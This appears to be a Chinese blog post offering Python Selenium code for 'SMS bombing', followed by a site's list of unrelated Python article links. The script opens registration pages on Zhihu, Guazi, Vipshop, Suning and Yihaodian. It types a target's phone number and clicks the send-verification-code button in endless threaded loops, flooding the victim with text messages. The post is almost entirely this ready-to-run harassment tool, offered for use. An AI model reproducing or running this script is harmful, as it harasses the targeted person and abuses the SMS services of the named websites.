Python短信轰炸的代码


Posted in Python onMarch 25, 2020

环境 python3.0

工具 pycharm

谷歌插件chromedriver

程序执行方法

from selenium import webdriver
import time
from threading import Thread
class HongZha(object):
  def __init__(self):
    self.phone = "xxxxx"#你要轰炸的电话号码
    self.num = 0
  def send_yzm(self,button,name):
    button.click()
    self.num+=1
    print("{}  第{}次  发送成功  {}".format(self.phone,self.num,name))
    time.sleep(30)
  def zhihu(self,name):
    while True:#下面这行是刚刚叙说的chromedrive的安装路径

      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get("https://www.zhihu.com/question/39993344")
      driver.find_element_by_xpath ( "//button[@class='Button Button--primary Button--blue']" ).click ()
      time.sleep(2)
      tel = driver.find_element_by_xpath("//input[@placeholder='手机号']")
      tel.send_keys(self.phone)
      button = driver.find_element_by_xpath ( "//button[@class='Button CountingDownButton SignFlow-smsInputButton Button--plain']" )
      self.send_yzm(button,name)
      driver.quit ()
  def guazi(self,name):
    while True:
      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get("https://www.guazi.com/www/bj/buy")
      a_btn = driver.find_element_by_xpath ( "//a[@class='uc-my']" )
      a_btn.click()
      time.sleep(2)
      tel = driver.find_element_by_xpath("//input[@placeholder='请输入您的手机号码']")
      tel.send_keys( self.phone )
      button = driver.find_element_by_xpath("//button[@class='get-code']")
      self.send_yzm(button,name)
      driver.quit()
  def wphui(self,name):
    while True:
      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get ( "https://passport.vip.com/register?src=https%3A%2F%2Fwww.vip.com%2F" )
      tel = driver.find_element_by_xpath ( "//input[@placeholder='请输入手机号码']" )
      tel.send_keys ( self.phone )
      driver.find_element_by_xpath ( "//input[@id='J_mobile_code']" ).click()
      button = driver.find_element_by_xpath (
        "//a[@class='ui-btn-medium btn-verify-code ui-btn-secondary']" )
      self.send_yzm ( button,name )
      driver.quit ()
  def suning(self,name):
    while True:
      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get ( "https://reg.suning.com/person.do" )
      driver.find_element_by_xpath("//a[@class='agree-btn']").click()
      tel = driver.find_element_by_xpath ( "//input[@id='mobileAlias']")
      tel.send_keys ( self.phone )
      button = driver.find_element_by_xpath (
        "//a[@id='sendSmsCode']" )
      self.send_yzm ( button,name )
      driver.quit ()
  def yhd(self,name):
    while True:
      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get ( "https://passport.yhd.com/passport/register_input.do" )
      driver.find_element_by_xpath ( "//input[@id='userName']" ).send_keys("我的女神daadaamnabajhdja")
      tel = driver.find_element_by_xpath ( "//input[@id='phone']" )
      tel.send_keys ( self.phone )
      time.sleep(2)
      button = driver.find_element_by_xpath (
        "//a[@class='receive_code fl same_code_btn r_disable_code ']" )
      #button.click()
      time.sleep(1)
      self.send_yzm ( button,name )
      driver.quit ()

执行放发

from threading import Thread

from sendPhon import HongZha

hongzha = HongZha()
zhihu = Thread(target=hongzha.zhihu,args=("知乎",))
guazi = Thread ( target=hongzha.guazi,args=("瓜子",))
wphui = Thread(target=hongzha.wphui,args=("唯品会",))
suning = Thread(target=hongzha.suning,args=("苏宁",))
yhd= Thread( target=hongzha.yhd,args=("一号店",))
zhihu.start()
guazi.start()
wphui.start()
suning.start()
yhd.start()

总结

到此这篇关于Python短信轰炸的代码的文章就介绍到这了,更多相关Python短信轰炸内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

Python 相关文章推荐
Python解释执行原理分析
Aug 22 Python
Python实现网站文件的全备份和差异备份
Nov 30 Python
Python发送email的3种方法
Apr 28 Python
Python判断文件或文件夹是否存在的三种方法
Jul 27 Python
对Python中gensim库word2vec的使用详解
May 08 Python
Python HTML解析器BeautifulSoup用法实例详解【爬虫解析器】
Apr 05 Python
使用Python opencv实现视频与图片的相互转换
Jul 08 Python
Python csv文件的读写操作实例详解
Nov 19 Python
Python使用Turtle库绘制一棵西兰花
Nov 23 Python
python实现引用其他路径包里面的模块
Mar 09 Python
Python爬虫基础之爬虫的分类知识总结
May 13 Python
Python开发之QT解决无边框界面拖动卡屏问题(附带源码)
May 27 Python
PyQt5事件处理之定时在控件上显示信息的代码
Mar 25 #Python
基于Python计算圆周率pi代码实例
Mar 25 #Python
Python异常原理及异常捕捉实现过程解析
Mar 25 #Python
Python导入模块包原理及相关注意事项
Mar 25 #Python
Python脚本导出为exe程序的方法
Mar 25 #Python
Python实现猜年龄游戏代码实例
Mar 25 #Python
python读取mysql数据绘制条形图
Mar 25 #Python
You might like
星际争霸秘籍
2020/03/04 星际争霸
ThinkPHP中的系统常量和预定义常量集合
2014/07/01 PHP
举例讲解PHP面对对象编程的多态
2015/08/12 PHP
CentOS下搭建PHP环境与WordPress博客程序的全流程总结
2016/05/07 PHP
mongodb和php的用法详解
2019/03/25 PHP
Extjs学习笔记之六 面版
2010/01/08 Javascript
用Js实现的动态增加表格示例自己写的
2013/10/21 Javascript
JavaScript在IE和FF下的兼容性问题
2014/05/19 Javascript
JavaScript动态修改弹出窗口大小的方法
2015/04/06 Javascript
js淡入淡出焦点图幻灯片效果代码分享
2015/09/08 Javascript
jQuery深拷贝Json对象简单示例
2016/07/06 Javascript
JQuery PHP图片在线裁剪实例
2020/07/27 Javascript
原生js实现节日时间倒计时功能
2017/01/18 Javascript
jQuery滚动条美化插件nicescroll简单用法示例
2018/04/18 jQuery
在Angular中使用JWT认证方法示例
2018/09/10 Javascript
动态内存分配导致影响Javascript性能的问题
2018/12/18 Javascript
JQueryDOM之样式操作
2019/03/27 jQuery
JS去除字符串最后的逗号实例分析【四种方法】
2019/06/20 Javascript
微信小程序实现圆形进度条动画
2020/11/18 Javascript
JavaScript 双向链表操作实例分析【创建、增加、查找、删除等】
2020/04/28 Javascript
vue 项目引入echarts 添加点击事件操作
2020/09/09 Javascript
python 文件与目录操作
2008/12/24 Python
Python通过DOM和SAX方式解析XML的应用实例分享
2015/11/16 Python
python利用拉链法实现字典方法示例
2017/03/25 Python
Python这样操作能存储100多万行的xlsx文件
2019/04/16 Python
pytorch Dataset,DataLoader产生自定义的训练数据案例
2021/03/03 Python
使用canvas绘制超炫时钟
2014/12/17 HTML / CSS
职称自我鉴定
2013/10/15 职场文书
大学秋游活动方案
2014/02/11 职场文书
餐厅楼面部长岗位职责范文
2014/02/16 职场文书
车贷收入证明范本
2014/09/14 职场文书
身份证丢失证明
2015/06/19 职场文书
2016年中学植树节活动总结
2016/03/16 职场文书
七年级作文之冬景
2019/11/07 职场文书
go 原生http web 服务跨域restful api的写法介绍
2021/04/27 Golang
一篇带你入门Java垃圾回收器
2021/06/16 Java/Android